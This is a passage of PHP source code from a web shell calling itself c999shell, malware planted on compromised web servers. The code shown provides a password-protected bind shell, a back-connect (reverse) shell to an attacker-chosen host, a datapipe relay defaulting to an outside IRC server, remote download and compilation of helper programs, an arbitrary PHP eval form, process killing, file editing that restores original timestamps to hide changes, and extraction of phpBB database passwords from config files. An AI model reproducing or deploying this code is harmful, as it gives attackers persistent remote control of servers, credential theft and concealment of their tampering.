  6495.  $dpsrcs = array(
  6496.   "c999sh_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"),
  6497.   "c999sh_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost")
  6498.  );
  6499.  if (!is_array($bind)) {$bind = array();}
  6500.  if (!is_array($bc)) {$bc = array();}
  6501.  if (!is_array($datapipe)) {$datapipe = array();}
  6502.  
  6503.  if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;}
  6504.  if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;}
  6505.  
  6506.  if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");}
  6507.  if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;}
  6508.  
  6509.  if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.blade83.de:6667";}
  6510.  if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;}
  6511.  if (!empty($bindsubmit))
  6512.  {
  6513.   echo "<b>Result of binding port:</b><br>";
  6514.   $v = $bndportsrcs[$bind["src"]];
  6515.   if (empty($v)) {echo "Unknown file!<br>";}
  6516.   elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";}
  6517.   else
  6518.   {
  6519.    $w = explode(".",$bind["src"]);
  6520.    $ext = $w[count($w)-1];
  6521.    unset($w[count($w)-1]);
  6522.    $srcpath = join(".",$w).".".rand(0,999).".".$ext;
  6523.    $binpath = $tmpdir.join(".",$w).rand(0,999);
  6524.    if ($ext == "pl") {$binpath = $srcpath;}
  6525.    @unlink($srcpath);
  6526.    $fp = fopen($srcpath,"ab+");
  6527.    if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";}
  6528.    elseif (!$data = c999getsource($bind["src"])) {echo "Can't download sources!";}
  6529.    else
  6530.    {
  6531.     fwrite($fp,$data,strlen($data));
  6532.     fclose($fp);
  6533.     if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath);  @unlink($srcpath);}
  6534.     $v[1] = str_replace("%path",$binpath,$v[1]);
  6535.     $v[1] = str_replace("%port",$bind["port"],$v[1]);
  6536.     $v[1] = str_replace("%pass",$bind["pass"],$v[1]);
  6537.     $v[1] = str_replace("//","/",$v[1]);
  6538.     $retbind = myshellexec($v[1]." > /dev/null &");
  6539.     sleep(5);
  6540.     $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5);
  6541.     if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";}
  6542.     else {echo "Binding... ok! Connect to <b>".getenv("SERVER_ADDR").":".$bind["port"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View binder's process</u></a></center>";}
  6543.    }
  6544.    echo "<br>";
  6545.   }
  6546.  }
  6547.  if (!empty($bcsubmit))
  6548.  {
  6549.   echo "<b>Result of back connection:</b><br>";
  6550.   $v = $bcsrcs[$bc["src"]];
  6551.   if (empty($v)) {echo "Unknown file!<br>";}
  6552.   else
  6553.   {
  6554.    $w = explode(".",$bc["src"]);
  6555.    $ext = $w[count($w)-1];
  6556.    unset($w[count($w)-1]);
  6557.    $srcpath = join(".",$w).".".rand(0,999).".".$ext;
  6558.    $binpath = $tmpdir.join(".",$w).rand(0,999);
  6559.    if ($ext == "pl") {$binpath = $srcpath;}
  6560.    @unlink($srcpath);
  6561.    $fp = fopen($srcpath,"ab+");
  6562.    if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";}
  6563.    elseif (!$data = c999getsource($bc["src"])) {echo "Can't download sources!";}
  6564.    else
  6565.    {
  6566.     fwrite($fp,$data,strlen($data));
  6567.     fclose($fp);
  6568.     if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
  6569.     $v[1] = str_replace("%path",$binpath,$v[1]);
  6570.     $v[1] = str_replace("%host",$bc["host"],$v[1]);
  6571.     $v[1] = str_replace("%port",$bc["port"],$v[1]);
  6572.     $v[1] = str_replace("//","/",$v[1]);
  6573.     $retbind = myshellexec($v[1]." > /dev/null &");
  6574.     echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."...<br>";
  6575.    }
  6576.   }
  6577.  }
  6578.  if (!empty($dpsubmit))
  6579.  {
  6580.   echo "<b>Result of datapipe-running:</b><br>";
  6581.   $v = $dpsrcs[$datapipe["src"]];
  6582.   if (empty($v)) {echo "Unknown file!<br>";}
  6583.   elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";}
  6584.   else
  6585.   {
  6586.    $srcpath = $tmpdir.$datapipe["src"];
  6587.    $w = explode(".",$datapipe["src"]);
  6588.    $ext = $w[count($w)-1];
  6589.    unset($w[count($w)-1]);
  6590.    $srcpath = join(".",$w).".".rand(0,999).".".$ext;
  6591.    $binpath = $tmpdir.join(".",$w).rand(0,999);
  6592.    if ($ext == "pl") {$binpath = $srcpath;}
  6593.    @unlink($srcpath);
  6594.    $fp = fopen($srcpath,"ab+");
  6595.    if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";}
  6596.    elseif (!$data = c999getsource($datapipe["src"])) {echo "Can't download sources!";}
  6597.    else
  6598.    {
  6599.     fwrite($fp,$data,strlen($data));
  6600.     fclose($fp);
  6601.     if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
  6602.     list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]);
  6603.     $v[1] = str_replace("%path",$binpath,$v[1]);
  6604.     $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]);
  6605.     $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]);
  6606.     $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]);
  6607.     $v[1] = str_replace("//","/",$v[1]);
  6608.     $retbind = myshellexec($v[1]." > /dev/null &");
  6609.     sleep(5);
  6610.     $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5);
  6611.     if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";}
  6612.     else {echo "Running datapipe... ok! Connect to <b>".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View datapipe process</u></a></center>";}
  6613.    }
  6614.    echo "<br>";
  6615.   }
  6616.  }
  6617.  ?><b>Binding port:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">Port: <input type=text name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>">&nbsp;Password: <input type=text name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>">&nbsp;<select name="bind[src]"><?php
  6618.  foreach($bndportsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
  6619.  ?></select>&nbsp;<input type=submit name=bindsubmit value="Bind"></form>
  6620. <b>Back connection:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>">&nbsp;Port: <input type=text name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>">&nbsp;<select name="bc[src]"><?php
  6621. foreach($bcsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
  6622. ?></select>&nbsp;<input type=submit name=bcsubmit value="Connect"></form>
  6623. Click "Connect" only after open port for it. You should use NetCat&copy;, run "<b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br>
  6624. <b>Datapipe:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="datapipe[remoteaddr]" value="<?php echo htmlspecialchars($datapipe["remoteaddr"]); ?>">&nbsp;Local port: <input type=text name="datapipe[localport]" value="<?php echo htmlspecialchars($datapipe["localport"]); ?>">&nbsp;<select name="datapipe[src]"><?php
  6625. foreach($dpsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
  6626. ?></select>&nbsp;<input type=submit name=dpsubmit value="Run"></form><b>Note:</b> sources will be downloaded from remote server.<?php
  6627. }
  6628. if ($act == "processes")
  6629. {
  6630.  echo "<b>Processes:</b><br>";
  6631.  if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");}
  6632.  else {$handler = "tasklist";}
  6633.  $ret = myshellexec($handler);
  6634.  if (!$ret) {echo "Can't execute \"".$handler."\"!";}
  6635.  else
  6636.  {
  6637.   if (empty($processes_sort)) {$processes_sort = $sort_default;}
  6638.   $parsesort = parsesort($processes_sort);
  6639.   if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
  6640.   $k = $parsesort[0];
  6641.   if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
  6642.   else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
  6643.   $ret = htmlspecialchars($ret);
  6644.   if (!$win)
  6645.   {
  6646.    if ($pid)
  6647.    {
  6648.     if (is_null($sig)) {$sig = 9;}
  6649.     echo "Sending signal ".$sig." to #".$pid."... ";
  6650.     if (posix_kill($pid,$sig)) {echo "OK.";}
  6651.     else {echo "ERROR.";}
  6652.    }
  6653.    while (ereg("  ",$ret)) {$ret = str_replace("  "," ",$ret);}
  6654.    $stack = explode("\n",$ret);
  6655.    $head = explode(" ",$stack[0]);
  6656.    unset($stack[0]);
  6657.    for($i=0;$i<count($head);$i++)
  6658.    {
  6659.     if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";}
  6660.    }
  6661.    $prcs = array();
  6662.    foreach ($stack as $line)
  6663.    {
  6664.     if (!empty($line))
  6665. {
  6666.  echo "<tr>";
  6667.      $line = explode(" ",$line);
  6668.      $line[10] = join(" ",array_slice($line,10));
  6669.      $line = array_slice($line,0,11);
  6670.      if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";}
  6671.      $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
  6672.      $prcs[] = $line;
  6673.      echo "</tr>";
  6674.     }
  6675.    }
  6676.   }
  6677.   else
  6678.   {
  6679.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  6680.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  6681.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  6682.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  6683.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  6684.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  6685.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  6686.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  6687.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  6688.    while (ereg("",$ret)) {$ret = str_replace("","",$ret);}
  6689.    while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
  6690.    $ret = convert_cyr_string($ret,"d","w");
  6691.    $stack = explode("\n",$ret);
  6692.    unset($stack[0],$stack[2]);
  6693.    $stack = array_values($stack);
  6694.    $head = explode("",$stack[0]);
  6695.    $head[1] = explode(" ",$head[1]);
  6696.    $head[1] = $head[1][0];
  6697.    $stack = array_slice($stack,1);
  6698.    unset($head[2]);
  6699.    $head = array_values($head);
  6700.    if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
  6701.    else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
  6702.    if ($k > count($head)) {$k = count($head)-1;}
  6703.    for($i=0;$i<count($head);$i++)
  6704.    {
  6705.     if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";}
  6706.    }
  6707.    $prcs = array();
  6708.    foreach ($stack as $line)
  6709.    {
  6710.     if (!empty($line))
  6711.     {
  6712.      echo "<tr>";
  6713.      $line = explode("",$line);
  6714.      $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
  6715.      $line[2] = intval(str_replace(" ","",$line[2]))*1024;
  6716.      $prcs[] = $line;
  6717.      echo "</tr>";
  6718.     }
  6719.    }
  6720.   }
  6721.   $head[$k] = "<b>".$head[$k]."</b>".$y;
  6722.   $v = $processes_sort[0];
  6723.   usort($prcs,"tabsort");
  6724.   if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
  6725.   $tab = array();
  6726.   $tab[] = $head;
  6727.   $tab = array_merge($tab,$prcs);
  6728.   echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">";
  6729.   foreach($tab as $i=>$k)
  6730.   {
  6731.    echo "<tr>";
  6732.    foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";}
  6733.    echo "</tr>";
  6734.   }
  6735.   echo "</table>";
  6736.  }
  6737. }
  6738. if ($act == "eval")
  6739. {
  6740.  if (!empty($eval))
  6741.  {
  6742.   echo "<b>Result of execution this PHP-code</b>:<br>";
  6743.   $tmp = ob_get_contents();
  6744.   $olddir = realpath(".");
  6745.   @chdir($d);
  6746.   if ($tmp)
  6747.   {
  6748.    ob_clean();
  6749.    eval($eval);
  6750.    $ret = ob_get_contents();
  6751.    $ret = convert_cyr_string($ret,"d","w");
  6752.    ob_clean();
  6753.    echo $tmp;
  6754.    if ($eval_txt)
  6755.    {
  6756.     $rows = count(explode("\r\n",$ret))+1;
  6757.     if ($rows < 10) {$rows = 10;}
  6758.     echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
  6759.    }
  6760.    else {echo $ret."<br>";}
  6761.   }
  6762.   else
  6763.   {
  6764.    if ($eval_txt)
  6765.    {
  6766.     echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
  6767.     eval($eval);
  6768.     echo "</textarea>";
  6769.    }
  6770.    else {echo $ret;}
  6771.   }
  6772.   @chdir($olddir);
  6773.  }
  6774.  else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}
  6775.  echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
  6776. }
  6777. if ($act == "f")
  6778. {
  6779.  if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
  6780.  {
  6781.   if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
  6782.   else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";}
  6783.  }
  6784.  else
  6785.  {
  6786.   $r = @file_get_contents($d.$f);
  6787.   $ext = explode(".",$f);
  6788.   $c = count($ext)-1;
  6789.   $ext = $ext[$c];
  6790.   $ext = strtolower($ext);
  6791.   $rft = "";
  6792.   foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
  6793.   if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
  6794.   if (empty($ft)) {$ft = $rft;}
  6795.   $arr = array(
  6796.    array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"),
  6797.    array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"),
  6798.    array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"),
  6799.    array("Code","code"),
  6800.    array("Session","phpsess"),
  6801.    array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"),
  6802.    array("SDB","sdb"),
  6803.    array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"),
  6804.    array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"),
  6805.    array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"),
  6806.    array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"),
  6807.    array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit")
  6808.   );
  6809.   echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
  6810.   foreach($arr as $t)
  6811.   {
  6812.    if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";}
  6813.    elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}
  6814.    else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
  6815.    echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
  6816.   }
  6817.   echo "<hr size=\"1\" noshade>";
  6818.   if ($ft == "info")
  6819.   {
  6820.    echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
  6821.    if (!$win)
  6822.    {
  6823.     echo "<tr><td><b>Owner/Group</b></td><td> ";    
  6824.     $ow = posix_getpwuid(fileowner($d.$f));
  6825.     $gr = posix_getgrgid(filegroup($d.$f));
  6826.     echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
  6827.    }
  6828.    echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>";
  6829.    $fi = fopen($d.$f,"rb");
  6830.    if ($fi)
  6831.    {
  6832.     if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}
  6833.     else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
  6834.     $n = 0;
  6835.     $a0 = "00000000<br>";
  6836.     $a1 = "";
  6837.     $a2 = "";
  6838.     for ($i=0; $i<strlen($str); $i++)
  6839.     {
  6840.      $a1 .= sprintf("%02X",ord($str[$i]))." ";
  6841.      switch (ord($str[$i]))
  6842.      {
  6843.       case 0:  $a2 .= "<font>0</font>"; break;
  6844.       case 32:
  6845.       case 10:
  6846.       case 13: $a2 .= "&nbsp;"; break;
  6847.       default: $a2 .= htmlspecialchars($str[$i]);
  6848.      }
  6849.      $n++;
  6850.      if ($n == $hexdump_rows)
  6851.      {
  6852.       $n = 0;
  6853.       if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
  6854.       $a1 .= "<br>";
  6855.       $a2 .= "<br>";
  6856.      }
  6857.     }
  6858.     //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";}
  6859.     echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>";
  6860.    }
  6861.    $encoded = "";
  6862.    if ($base64 == 1)
  6863.    {
  6864.     echo "<b>Base64 Encode</b><br>";
  6865.     $encoded = base64_encode(file_get_contents($d.$f));
  6866.    }
  6867.    elseif($base64 == 2)
  6868.    {
  6869.     echo "<b>Base64 Encode + Chunk</b><br>";
  6870.     $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
  6871.    }
  6872.    elseif($base64 == 3)
  6873.    {
  6874.     echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
  6875.     $encoded = base64_encode(file_get_contents($d.$f));
  6876.     $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
  6877.    }
  6878.    elseif($base64 == 4)
  6879.    {
  6880.     $text = file_get_contents($d.$f);
  6881.     $encoded = base64_decode($text);
  6882.     echo "<b>Base64 Decode";
  6883.     if (base64_encode($encoded) != $text) {echo " (failed)";}
  6884.     echo "</b><br>";
  6885.    }
  6886.    if (!empty($encoded))
  6887.    {
  6888.     echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>";
  6889.    }
  6890.    echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b>
  6891. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr>
  6892. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr>
  6893. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr>
  6894. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr>
  6895. <P>";
  6896.   }
  6897.   elseif ($ft == "html")
  6898.   {
  6899.    if ($white) {@ob_clean();}
  6900.    echo $r;
  6901.    if ($white) {c999shexit();}
  6902.   }
  6903.   elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
  6904.   elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";}
  6905.   elseif ($ft == "phpsess")
  6906.   {
  6907.    echo "<pre>";
  6908.    $v = explode("|",$r);
  6909.    echo $v[0]."<br>";
  6910.    var_dump(unserialize($v[1]));
  6911.    echo "</pre>";
  6912.   }
  6913.   elseif ($ft == "exe")
  6914.   {
  6915.    $ext = explode(".",$f);
  6916.    $c = count($ext)-1;
  6917.    $ext = $ext[$c];
  6918.    $ext = strtolower($ext);
  6919.    $rft = "";
  6920.    foreach($exeftypes as $k=>$v)
  6921.    {
  6922.     if (in_array($ext,$v)) {$rft = $k; break;}
  6923.    }
  6924.    $cmd = str_replace("%f%",$f,$rft);
  6925.    echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>";
  6926.   }
  6927.   elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
  6928.   elseif ($ft == "code")
  6929.   {
  6930.    if (ereg("php"."BB 2.(.*) auto-generated config file",$r))
  6931.    {
  6932.     $arr = explode("\n",$r);
  6933.     if (count($arr == 18))
  6934.     {
  6935.      include($d.$f);
  6936.      echo "<b>phpBB configuration is detected in this file!<br>";
  6937.      if ($dbms == "mysql4") {$dbms = "mysql";}
  6938.      if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
  6939.      else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c999shell. Please, report us for fix.";}
  6940.      echo "Parameters for manual connect:<br>";
  6941.      $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
  6942.      foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";}
  6943.      echo "</b><hr size=\"1\" noshade>";
  6944.     }
  6945.    }
  6946.    echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
  6947.    if (!empty($white)) {@ob_clean();}
  6948.    highlight_file($d.$f);
  6949.    if (!empty($white)) {c999shexit();}
  6950.    echo "</div>";
  6951.   }
  6952.   elseif ($ft == "download")
  6953.   {
  6954.    @ob_clean();
  6955.    header("Content-type: application/octet-stream");
  6956.    header("Content-length: ".filesize($d.$f));
  6957.    header("Content-disposition: attachment; filename=\"".$f."\";");
  6958.    echo $r;
  6959.    exit;
  6960.   }
  6961.   elseif ($ft == "notepad")
  6962.   {
  6963.    @ob_clean();
  6964.    header("Content-type: text/plain");
  6965.    header("Content-disposition: attachment; filename=\"".$f.".txt\";");
  6966.    echo($r);
  6967.    exit;
  6968.   }
  6969.   elseif ($ft == "img")
  6970.   {
  6971.    $inf = getimagesize($d.$f);
  6972.    if (!$white)
  6973.    {
  6974.     if (empty($imgsize)) {$imgsize = 20;}
  6975.     $width = $inf[0]/100*$imgsize;
  6976.     $height = $inf[1]/100*$imgsize;
  6977.     echo "<center><b>Size:</b>&nbsp;";
  6978.     $sizes = array("100","50","20");
  6979.     foreach ($sizes as $v)
  6980.     {
  6981.      echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
  6982.      if ($imgsize != $v ) {echo $v;}
  6983.      else {echo "<u>".$v."</u>";}
  6984.      echo "</a>&nbsp;&nbsp;&nbsp;";
  6985.     }
  6986.     echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>";
  6987.    }
  6988.    else
  6989.    {
  6990.     @ob_clean();
  6991.     $ext = explode($f,".");
  6992.     $ext = $ext[count($ext)-1];
  6993.     header("Content-type: ".$inf["mime"]);
  6994.     readfile($d.$f);
  6995.     exit;
  6996.    }
  6997.   }
  6998.   elseif ($ft == "edit")
  6999.   {
  7000.    if (!empty($submit))
  7001.    {
  7002.     if ($filestealth) {$stat = stat($d.$f);}
  7003.     $fp = fopen($d.$f,"w");
  7004.     if (!$fp) {echo "<b>Can't write to file!</b>";}
  7005.     else
  7006.     {
  7007.      echo "<b>Saved!</b>";
  7008.      fwrite($fp,$edit_text);
  7009.      fclose($fp);
  7010.      if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
  7011.      $r = $edit_text;
  7012.     }
  7013.    }
  7014.    $rows = count(explode("\r\n",$r));
  7015.    if ($rows < 10) {$rows = 10;}
  7016.    if ($rows > 30) {$rows = 30;}
  7017.    echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
  7018.   }
